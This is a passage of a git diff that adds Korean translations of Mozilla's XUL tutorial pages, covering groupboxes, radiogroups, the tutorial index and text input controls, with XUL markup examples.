+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_1.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:titledbox1.png"></div>
+<pre>&lt;groupbox&gt;
+  &lt;caption label="Answer"/&gt;
+  &lt;description value="Banana"/&gt;
+  &lt;description value="Tangerine"/&gt;
+  &lt;description value="Phone Booth"/&gt;
+  &lt;description value="Kiwi"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<p>이 예제를 실행하면 네 개의 문자열을 둘러 싸는
+ <i>
+  Answer</i>
+ 라는 제목을 가진 상자가 표시됩니다. groupbox의 정렬 속성은 세로 정렬이 기본이기 때문에 문자열이 세로로 차곡차곡 쌓이게 됩니다.</p>
+<h4 id=".EC.A2.80_.EB.8D.94_.EB.B3.B5.EC.9E.A1.ED.95.9C_.EC.A0.9C.EB.AA.A9" name=".EC.A2.80_.EB.8D.94_.EB.B3.B5.EC.9E.A1.ED.95.9C_.EC.A0.9C.EB.AA.A9">좀 더 복잡한 제목</h4>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code> 요소에 자식 요소를 넣으면 더 다양한 기능을 구현할 수 있습니다. 예를 들어 모질라의 글꼴 설정 판넬은 펼침 메뉴(drop-down menu)를 제목으로 사용하고 있습니다. 자식 요소는 무엇이든 쓸 수 있지만 보통 체크박스나 펼침 메뉴가 사용됩니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_2.xul">View</a></p>
+<div class="float-right">
+ <img alt="Image:groupbox2.png"></div>
+<pre>&lt;groupbox flex="1"&gt;
+  &lt;caption&gt;
+    &lt;checkbox label="Enable Backups"/&gt;
+  &lt;/caption&gt;
+  &lt;hbox&gt;
+    &lt;label control="dir" value="Directory:"/&gt;
+    &lt;textbox id="dir" flex="1"/&gt;
+  &lt;/hbox&gt;
+  &lt;checkbox label="Compress archived files"/&gt;
+&lt;/groupbox&gt;
+</pre>
+<p>이 예제에서는 <a href="ko/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">checkbox</a>가 제목으로 사용되었습니다. 스크립트를 사용하면 <code><a href="/ko/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code>의 선택 여부에 따라 groupbox의 내용을 사용 가능/불가로 전환할 수 있습니다. 이 groupbox는 수평 <code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code> 하나를 갖고 있는데 그 안에는 <code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code>과 <code><a href="/ko/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code>가 포함되어 있습니다. 글상자와 groupbox 둘 다 flex 속성이 적용되었기 때문에 창이 늘어나면 글상자도 함께 늘어납니다. 그 다음의 체크박스는 글상자의 아래에 표시되는데 이는 groupbox의 정렬 방식이 세로 정렬이기 때문입니다. 다음 단원에서는 파일 찾기 대화창에 groupbox를 넣어 보도록 하겠습니다.</p>
+<h3 id=".EB.9D.BC.EB.94.94.EC.98.A4_.EA.B7.B8.EB.A3.B9" name=".EB.9D.BC.EB.94.94.EC.98.A4_.EA.B7.B8.EB.A3.B9">라디오 그룹</h3>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> 요소를 사용하면 여러 개의 라디오 버튼을 하나로 묶을 수 있습니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code>도 상자의 일종입니다. radiogroup은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code> 버튼을 다룰 수 있는 특수 기능 외에는 다른 상자와 다를 게 없기 때문에 안에 어떠한 요소를 넣어도 상관 없습니다.</p>
+<p>radiogroup 안에 있는 라디오 버튼들은 그것들이 중첩된 상자내에 있더라도 모두 하나의 그룹이 됩니다. 이는 아래의 예제처럼 라디오 버튼으로 이루어진 구조에 다른 요소를 넣을 때 유용하게 사용될 수 있습니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_3.xul">View</a></p>
+<pre>&lt;radiogroup&gt;
+  &lt;radio id="no" value="no" label="No Number"/&gt;
+  &lt;radio id="random" value="random" label="Random Number"/&gt;
+  &lt;hbox&gt;
+    &lt;radio id="specify" value="specify" label="Specify Number:"/&gt;
+    &lt;textbox id="specificnumber"/&gt;
+  &lt;/hbox&gt;
+&lt;/radiogroup&gt;
+</pre>
+<p>한 가지 유의할 점은 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> 요소는 테두리가 생기지 않는다는 것입니다. 만약 테두리와 제목이 필요하다면 radiogroup을 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code>에 포함시켜 사용하시면 됩니다.</p>
+<p>다음에는, 지금까지 배워온 내용을 이용해서 <a href="ko/XUL_Tutorial/Adding_More_Elements">몇 가지 요소들을 파일 찾기 대화창에 추가해</a> 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Box_Model_Details" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Adding_More_Elements">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/index.html
new file mode 100644
index 0000000000..b069c217a0
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/index.html
@@ -0,0 +1,132 @@
+---
+title: XUL Tutorial
+slug: Mozilla/Tech/XUL/XUL_Tutorial
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial
+---
+<p>이 튜토리얼은 XML 유저 인터페이스 언어(XML User-Interface Language)인 XUL 을 설명합니다. 이 언어는 모질라 응용프로그램(Application)을 만드는데 사용되며 특히 유저 인터페이스를 기술하는데 사용됩니다.
+</p>
+<div class="note">
+<p>본 XUL 튜토리얼 한국어 번역본은 <a class="external" href="http://softwant.com/cgi-bin/kimsboard/bbs.php3?table=xul">김재용, 김고명</a>님에 의해 최초로 작성되었으며 그는 고맙게도 본 튜토리얼을 <a>MDC 한국 프로젝트</a>의 일부로 사용할 수 있도록 허락해 주었습니다. 두 분의 최초 한국 번역본은 XULPlanet의 Neil Deakin 허락하에 번역되었습니다.
+</p>
+</div>
+<h5 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94"> 개요 </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Introduction">개요</a>
+</li><li> <a href="ko/XUL_Tutorial/XUL_Structure">XUL의 구조</a>
+</li><li> <a href="ko/XUL_Tutorial/The_Chrome_URL">The Chrome URL</a>
+</li><li> <a href="ko/XUL_Tutorial/Manifest_Files">Manifest Files</a>
+</li></ul>
+<h5 id=".EB.8B.A8.EC.88.9C_.EC.9A.94.EC.86.8C.EB.93.A4.28Simple_Elements.29" name=".EB.8B.A8.EC.88.9C_.EC.9A.94.EC.86.8C.EB.93.A4.28Simple_Elements.29"> 단순 요소들(Simple Elements) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Creating_a_Window">윈도우 만들기</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_Buttons">버튼 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_Labels_and_Images">레이블과 이미지 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Input_Controls">입력 컨트롤</a>
+</li><li> <a href="ko/XUL_Tutorial/List_Controls">리스트 컨트롤</a>
+</li><li> <a href="ko/XUL_Tutorial/Progress_Meters">진행 지시자(Progress Meters)</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_HTML_Elements">HTML 요소 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Using_Spacers">여백(Spacer) 사용하기</a>
+</li><li> <a href="ko/XUL_Tutorial/More_Button_Features">그외의 버튼 기능들</a>
+</li></ul>
+<h5 id=".EB.B0.95.EC.8A.A4_.EB.AA.A8.EB.8D.B8.28The_Box_Model.29" name=".EB.B0.95.EC.8A.A4_.EB.AA.A8.EB.8D.B8.28The_Box_Model.29"> 박스 모델(The Box Model) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/The_Box_Model">박스 모델</a>
+</li><li> <a href="ko/XUL_Tutorial/Element_Positioning">Element Positioning</a>
+</li><li> <a href="ko/XUL_Tutorial/Box_Model_Details">박스 모델의 세부항목</a>
+</li><li> <a href="ko/XUL_Tutorial/Groupboxes">그룹 박스(Groupboxes)</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_More_Elements">그외의 요소들 추가하기</a>
+</li></ul>
+<h5 id=".EB.8D.94.EC.9A.B1_.EB.8B.A4.EC.96.91.ED.95.9C_.EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83_.EC.9A.94.EC.86.8C.EB.93.A4.28More_Layout_Elements.29" name=".EB.8D.94.EC.9A.B1_.EB.8B.A4.EC.96.91.ED.95.9C_.EB.A0.88.EC.9D.B4.EC.95.84.EC.9B.83_.EC.9A.94.EC.86.8C.EB.93.A4.28More_Layout_Elements.29"> 더욱 다양한 레이아웃 요소들(More Layout Elements) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Stacks_and_Decks">스택과 덱(Stacks and Decks)</a>
+</li><li> <a href="ko/XUL_Tutorial/Stack_Positioning">스택 포지셔닝(Stack Positioning)</a>
+</li><li> <a href="ko/XUL_Tutorial/Tabboxes">탭박스(Tabboxes)</a>
+</li><li> <a href="ko/XUL_Tutorial/Grids">그리드(Grids)</a>
+</li><li> <a href="ko/XUL_Tutorial/Content_Panels">컨텐츠 패널(Content Panels)</a>
+</li><li> <a href="ko/XUL_Tutorial/Splitters">스플릿터(Splitters)</a>
+</li><li> <a href="ko/XUL_Tutorial/Scroll_Bars">스크롤바(Scroll Bars)</a>
+</li></ul>
+<h5 id=".ED.88.B4.EB.B0.94.EC.99.80_.EB.A9.94.EB.89.B4.28Toolbars_and_Menus.29" name=".ED.88.B4.EB.B0.94.EC.99.80_.EB.A9.94.EB.89.B4.28Toolbars_and_Menus.29"> 툴바와 메뉴(Toolbars and Menus) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Toolbars">툴바(Toolbars)</a>
+</li><li> <a href="ko/XUL_Tutorial/Simple_Menu_Bars">단순 메뉴바(Simple Menu Bars)</a>
+</li><li> <a href="ko/XUL_Tutorial/More_Menu_Features">다양한 메뉴 기능들</a>
+</li><li> <a href="ko/XUL_Tutorial/Popup_Menus">팝업 메뉴(Popup Menus)</a>
+</li><li> <a href="ko/XUL_Tutorial/Scrolling_Menus">스크롤링 메뉴(Scrolling Menus)</a>
+</li></ul>
+<h5 id=".EC.9D.B4.EB.B2.A4.ED.8A.B8.EC.99.80_.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.28Events_and_Scripts.29" name=".EC.9D.B4.EB.B2.A4.ED.8A.B8.EC.99.80_.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.28Events_and_Scripts.29"> 이벤트와 스크립트(Events and Scripts) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Adding_Event_Handlers">이벤트 핸들러 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/More_Event_Handlers">더욱 다양한 이벤트 핸들러</a>
+</li><li> <a href="ko/XUL_Tutorial/Keyboard_Shortcuts">단축키(Keyboard Shortcuts)</a>
+</li><li> <a href="ko/XUL_Tutorial/Focus_and_Selection">포커스(Forcus)와 선택(Selection)</a>
+</li><li> <a href="ko/XUL_Tutorial/Commands">Commands</a>
+</li><li> <a href="ko/XUL_Tutorial/Updating_Commands">Updating Commands</a>
+</li><li> <a href="ko/XUL_Tutorial/Broadcasters_and_Observers">Broadcasters and Observers</a>
+</li></ul>
+<h5 id=".EB.AC.B8.EC.84.9C_.EA.B0.9D.EC.B2.B4_.EB.AA.A8.EB.8D.B8.28Document_Object_Model.29" name=".EB.AC.B8.EC.84.9C_.EA.B0.9D.EC.B2.B4_.EB.AA.A8.EB.8D.B8.28Document_Object_Model.29"> 문서 객체 모델(Document Object Model) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Document_Object_Model">문서 객체 모델(Document Object Model)</a>
+</li><li> <a href="ko/XUL_Tutorial/Modifying_a_XUL_Interface">XUL 인터페이스 수정하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Manipulating_Lists">리스트 다루기</a>
+</li><li> <a href="ko/XUL_Tutorial/Box_Objects">박스 객체(Box Objects)</a>
+</li><li> <a href="ko/XUL_Tutorial/XPCOM_Interfaces">XPCOM 인터페이스</a>
+</li><li> <a href="ko/XUL_Tutorial/XPCOM_Examples">XPCOM 예제</a>
+</li></ul>
+<h5 id=".ED.8A.B8.EB.A6.AC.28Trees.29" name=".ED.8A.B8.EB.A6.AC.28Trees.29"> 트리(Trees) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Trees">트리(Trees)</a>
+</li><li> <a href="ko/XUL_Tutorial/More_Tree_Features">더욱 많은 트리기능들</a>
+</li><li> <a href="ko/XUL_Tutorial/Tree_Selection">Tree Selection</a>
+</li><li> <a href="ko/XUL_Tutorial/Custom_Tree_Views">사용자 트리뷰(Custom Tree Views)</a>
+</li><li> <a href="ko/XUL_Tutorial/Tree_View_Details">트리뷰의 세부사항</a>
+</li><li> <a href="ko/XUL_Tutorial/Tree_Box_Objects">트리 박스 객체(Tree Box Objects)</a>
+</li></ul>
+<h5 id="RDF_.EC.99.80_.ED.85.9C.ED.94.8C.EB.A6.BF.28Templates.29" name="RDF_.EC.99.80_.ED.85.9C.ED.94.8C.EB.A6.BF.28Templates.29"> RDF 와 템플릿(Templates) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Introduction_to_RDF">RFD의 개요</a>
+</li><li> <a href="ko/XUL_Tutorial/Templates">템플릿(Templates)</a>
+</li><li> <a href="ko/XUL_Tutorial/Trees_and_Templates">트리와 템플릿(Trees and Templates)</a>
+</li><li> <a href="ko/XUL_Tutorial/RDF_Datasources">RDF 데이터소스(RDF Datasources)</a>
+</li><li> <a href="ko/XUL_Tutorial/Advanced_Rules">고급 규칙(Advanced Rules)</a>
+</li><li> <a href="ko/XUL_Tutorial/Persistent_Data">영속 데이터(Persistent Data)</a>
+</li></ul>
+<h5 id=".EC.8A.A4.ED.82.A8.EA.B3.BC_.EC.A7.80.EC.97.AD.ED.99.94.28Skins_and_Locales.29" name=".EC.8A.A4.ED.82.A8.EA.B3.BC_.EC.A7.80.EC.97.AD.ED.99.94.28Skins_and_Locales.29"> 스킨과 지역화(Skins and Locales) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Adding_Style_Sheets">스타일 시트 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Styling_a_Tree">트리 꾸미기</a>
+</li><li> <a href="ko/XUL_Tutorial/Modifying_the_Default_Skin">기본 스킨 고치기</a>
+</li><li> <a href="ko/XUL_Tutorial/Creating_a_Skin">스킨 만들기</a>
+</li><li> <a href="ko/XUL_Tutorial/Localization">지역화</a>
+</li><li> <a href="ko/XUL_Tutorial/Property_Files">설정 파일</a>
+</li></ul>
+<h5 id="Bindings" name="Bindings"> Bindings </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Introduction_to_XBL">XBL의 개요</a>
+</li><li> <a href="ko/XUL_Tutorial/Anonymous_Content">익명 컨텐츠(Anonymous Content)</a>
+</li><li> <a href="ko/XUL_Tutorial/XBL_Attribute_Inheritance">XBL 속성 상속</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_Properties_to_XBL-defined_Elements">속성 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_Methods_to_XBL-defined_Elements">메소드 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Adding_Event_Handlers_to_XBL-defined_Elements">이벤트 핸들러 추가하기</a>
+</li><li> <a href="ko/XUL_Tutorial/XBL_Inheritance">XBL 상속</a>
+</li><li> <a href="ko/XUL_Tutorial/XBL_Example">XBL 예제</a>
+</li></ul>
+<h5 id="Specialized_Window_Types" name="Specialized_Window_Types"> Specialized Window Types </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Features_of_a_Window">Features of a Window</a>
+</li><li> <a href="ko/XUL_Tutorial/Creating_Dialogs">다이얼로그 만들기</a>
+</li><li> <a href="ko/XUL_Tutorial/Open_and_Save_Dialogs">Open and Save Dialogs</a>
+</li><li> <a href="ko/XUL_Tutorial/Creating_a_Wizard">Creating a Wizard</a>
+</li><li> <a href="ko/XUL_Tutorial/More_Wizards">More Wizards</a>
+</li><li> <a href="ko/XUL_Tutorial/Overlays">Overlays</a>
+</li><li> <a href="ko/XUL_Tutorial/Cross_Package_Overlays">Cross Package Overlays</a>
+</li></ul>
+<h5 id=".EC.84.A4.EC.B9.98.28Installation.29" name=".EC.84.A4.EC.B9.98.28Installation.29"> 설치(Installation) </h5>
+<ul><li> <a href="ko/XUL_Tutorial/Creating_an_Installer">인스톨러 생성하기</a>
+</li><li> <a href="ko/XUL_Tutorial/Install_Scripts">설치 스크립트</a>
+</li><li> <a href="ko/XUL_Tutorial/Additional_Install_Features">추가적인 설치 기능들</a>
+</li></ul>
+<div class="note">
+<p>본 XUL 튜토리얼은 본래 <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>에 의해 작성되었으며 그는 고맙게도 본 튜토리얼을 <a>MDC</a>의 일부로 사용할 수 있도록 허락해 주었습니다.
+</p>
+</div>
+<div class="originaldocinfo">
+<h5 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4"> 원본 문서 정보 </h5>
+<ul><li> 저자: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>
+</li><li> 최종 업데이트: 2005년 6월 3일
+</li><li> 저작권 정보 : © 1999-2005 XULPlanet.com
+</li></ul>
+</div>
+<p><span class="comment">Interwiki Language Links</span>
+</p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html
new file mode 100644
index 0000000000..df96b700f3
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html
@@ -0,0 +1,110 @@
+---
+title: Input Controls
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Input_Controls
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Input_Controls
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_Labels_and_Images" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:List_Controls">다음  »</a></p>
+</div><p></p>
+<p>XUL은 HTML의 <a href="ko/DOM/form">form</a> 컨트롤과 비슷한 요소들을 가지고 있습니다.</p>
+<h3 id=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.9E.85.EB.A0.A5_.EC.BB.A8.ED.8A.B8.EB.A1.A4" name=".ED.85.8D.EC.8A.A4.ED.8A.B8_.EC.9E.85.EB.A0.A5_.EC.BB.A8.ED.8A.B8.EB.A1.A4">텍스트 입력 컨트롤</h3>
+<p>HTML은 텍스트 입력 컨트롤로 사용할 수 있는 input 요소를 가집니다. XUL 또한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code>라고 하는 텍스트를 입력하는데 사용되는 비슷한 요소를 가지고 있습니다. 아무런 속성이 지정되어 있지 않으면 <code>textbox</code> 요소는 사용자가 텍스트를 입력할 수 있는 상자를 만들어 냅니다. Textbox는 HTML의 input 컨트롤과 많은 동일한 속성을 사용할 수 있습니다. 다음은 속성들의 일부입니다.</p>
+<dl>
+ <dt>
+  <code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> </dt>
+ <dd>
+  Textbox를 실별하는데 사용할 수 있는 유일식별자(unique identifier) 입니다.</dd>
+ <dt>
+  <code id="a-class"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/class">class</a></code> </dt>
+ <dd>
+  Textbox의 스타일 클래스 입니다.</dd>
+ <dt>
+  <code id="a-value"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/value">value</a></code> </dt>
+ <dd>
+  Textbox의 기본 텍스트를 지정하고 싶으면, 이 속성값에 적용하면 됩니다.</dd>
+ <dt>
+  <code id="a-disabled"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code> </dt>
+ <dd>
+  입력을 할 수 없게 하려면 이 속성을 <code>true</code>로 지정합니다.</dd>
+ <dt>
+  <code id="a-type"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/type">type</a></code> </dt>
+ <dd>
+  입력한 텍스트를 숨기는 textbox를 만드려면 이 속성을 <code>password</code>라는 특별한 값으로 지정할 수 있습니다.</dd>
+ <dt>
+  <code id="a-maxlength"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/maxlength">maxlength</a></code> </dt>
+ <dd>
+  Textbox에 입력할 수 있는 최대 문자수를 지정합니다.</dd>
+</dl>
+<p>HTML에서는 <code>input</code> 요소로 다양한 종류의 컨트롤 타입을 만들 수 있지만, XUL에서는 각 타입에 대응되는 별도의 요소가 있습니다.</p>
+<p>다음은 몇 가지 textbox 예제입니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_1"><a id="%EC%98%88%EC%A0%9C_1"></a><strong>예제 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_1.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_1.xul">View</a></p>
+<pre>&lt;label control="some-text" value="Enter some text"/&gt;
+&lt;textbox id="some-text"/&gt;
+&lt;label control="some-password" value="Enter a password"/&gt;
+&lt;textbox id="some-password" type="password" maxlength="8"/&gt;
+</pre>
+<h4 id=".EC.97.AC.EB.9F.AC.EC.A4.84.28multiline.29_textbox" name=".EC.97.AC.EB.9F.AC.EC.A4.84.28multiline.29_textbox">여러줄(multiline) textbox</h4>
+<p>위의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code> 예제는 한줄짜리 텍스트만 입력하는데 사용할 수 있는 입력 컨트롤을 생성합니다. HTML에서는 더 많은 텍스트 입력 영역이 있는 <code>textarea</code> 요소가 존재합니다. XUL에서는 <code>textbox</code> 요소를 이러한 목적으로 사용할 수 있늡니다(서로 다른 두개 요소는 필요 없습니다). <code><code id="a-multiline"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/multiline">multiline</a></code></code>속성을 true로 지정하면 텍스트 입력 필드는 다중 행을 표시합니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_2"><a id="%EC%98%88%EC%A0%9C_2"></a><strong>예제 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_2.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_2.xul">View</a></p>
+<pre>&lt;textbox multiline="true"
+           value="This is some text that could wrap onto multiple lines."/&gt;
+</pre>
+<p>HTML의 <code>textarea</code>처럼, 크기를 지정하기 위해 <code>rows</code>와 <code>cols</code>를 사용할 수 있습니다. 이 속성들은 출력될 문자의 행과 열수를 지정합니다.</p>
+<div class="highlight">
+ <h4 id=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".EC.9A.B0.EB.A6.AC.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">우리의 파일 찾기 예제</h4>
+ <p>이제 파일 찾기 대화상자에 검색을 위한 입력 필드를 추가합니다. <code>Textbox</code> 요소를 사용할 것입니다.</p>
+ <pre class="eval"><span class="highlightred">&lt;label value="Search for:" control="find-text"/&gt;</span>
+<span class="highlightred">&lt;textbox id="find-text"/&gt;</span>
+
+&lt;button id="find-button" label="Find"/&gt;
+</pre>
+ <div class="float-right">
+  <img alt="Image:inputs1.png"></div>
+ <p>앞선 섹션에서 만든 버튼 앞 부분에 위의 코드를 추가하세요. 창을 열면, 이미지와 같이 보일 것입니다.</p>
+ <p>라벨과 텍스트 input 필드가 윈도우에 출력됩니다. 텍스트박스는 완전히 작동하며 텍스트를 입력하거나 선택할 수 있습니다. 예제에서 라벨의 <code><code id="a-control"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/control">control</a></code></code> 속성이 사용되어서 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code>이 클릭되면 텍스트 박스가 선택됩니다.</p>
+</div>
+<h3 id=".EC.B2.B4.ED.81.AC.EB.B0.95.EC.8A.A4.EC.99.80_.EB.9D.BC.EB.94.94.EC.98.A4_.EB.B2.84.ED.8A.BC" name=".EC.B2.B4.ED.81.AC.EB.B0.95.EC.8A.A4.EC.99.80_.EB.9D.BC.EB.94.94.EC.98.A4_.EB.B2.84.ED.8A.BC">체크박스와 라디오 버튼</h3>
+<p>체크박스와 라디오 버튼을 만들기 위해서는 두 개의 추가적인 요소를 사용합니다. 이것들은 버튼의 일종입니다. 체크박스 요소는 가능 또는 불가능될 수 있는 옵션을 위해 사용할 수 있습니다. 라디오 버튼은 비슷한 목적으로 사용할 수 있는 것으로 여러개의 항목 중 하나만 선택할 수 있을 때 사용합니다.</p>
+<p>체크박스와 라디오 버튼은 버튼과 대부분 동일한 속성을 사용합니다. 아래 예제는 간단한 체크박스와 라디오 버튼을 보여줍니다.</p>
+<pre>&lt;checkbox id="case-sensitive" checked="true" label="Case sensitive"/&gt;
+&lt;radio id="orange" label="Orange"/&gt;
+&lt;radio id="violet" selected="true" label="Violet"/&gt;
+&lt;radio id="yellow" label="Yellow"/&gt;
+</pre>
+<p>첫번째 줄에서는 간단한 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code></code>를 생성합니다. 사용자가 체크박스를 클릭하면 선택 또는 선택되지 않은 상태를 교환합니다. <code><code id="a-checked"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/checked">checked</a></code></code> 속성은 처음 상태를 나타내기 위해 사용할 수 있습니다. 이것은 <code>true</code>또는 <code>false</code>로 지정되어야 합니다. <code><code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code></code> 속성은 체크박스 옆에 출력될 라벨을 지정하기 위해 사용합니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code> 버튼에서는 <code><code id="a-checked"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/checked">checked</a></code></code> 속성 대신 <code><code id="a-selected"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/selected">selected</a></code></code>를 사용해야 합니다. 라디오 버튼이 처음 선택된 상태로 마들기 위해서는 <code><code id="a-selected"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/selected">selected</a></code></code>을 <code>true</code>로 설정하세요.</p>
+<h4 id=".EB.9D.BC.EB.94.94.EC.98.A4.EA.B7.B8.EB.A3.B9_.EC.9A.94.EC.86.8C" name=".EB.9D.BC.EB.94.94.EC.98.A4.EA.B7.B8.EB.A3.B9_.EC.9A.94.EC.86.8C">라디오그룹 요소</h4>
+<p>라디오 버튼들을 그룹짖기 위해서는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> 요소를 사용할 필요가 있습니다. 라디오 그룹내에 있는 라디오 버튼들 중 하나만 선택할 수 있습니다. 하나를 선택하면 같은 그룹 내의 다른 것들은 모두 꺼지게 됩니다. 다음 예제는 이러한 내용을 보여줍니다.</p>
+<p><span id="%EC%98%88%EC%A0%9C_3"><a id="%EC%98%88%EC%A0%9C_3"></a><strong>예제 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_3.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_3.xul">View</a></p>
+<pre>&lt;radiogroup&gt;
+  &lt;radio id="orange" label="Orange"/&gt;
+  &lt;radio id="violet" selected="true" label="Violet"/&gt;
+  &lt;radio id="yellow" label="Yellow"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+<h4 id=".EC.86.8D.EC.84.B1" name=".EC.86.8D.EC.84.B1">속성</h4>
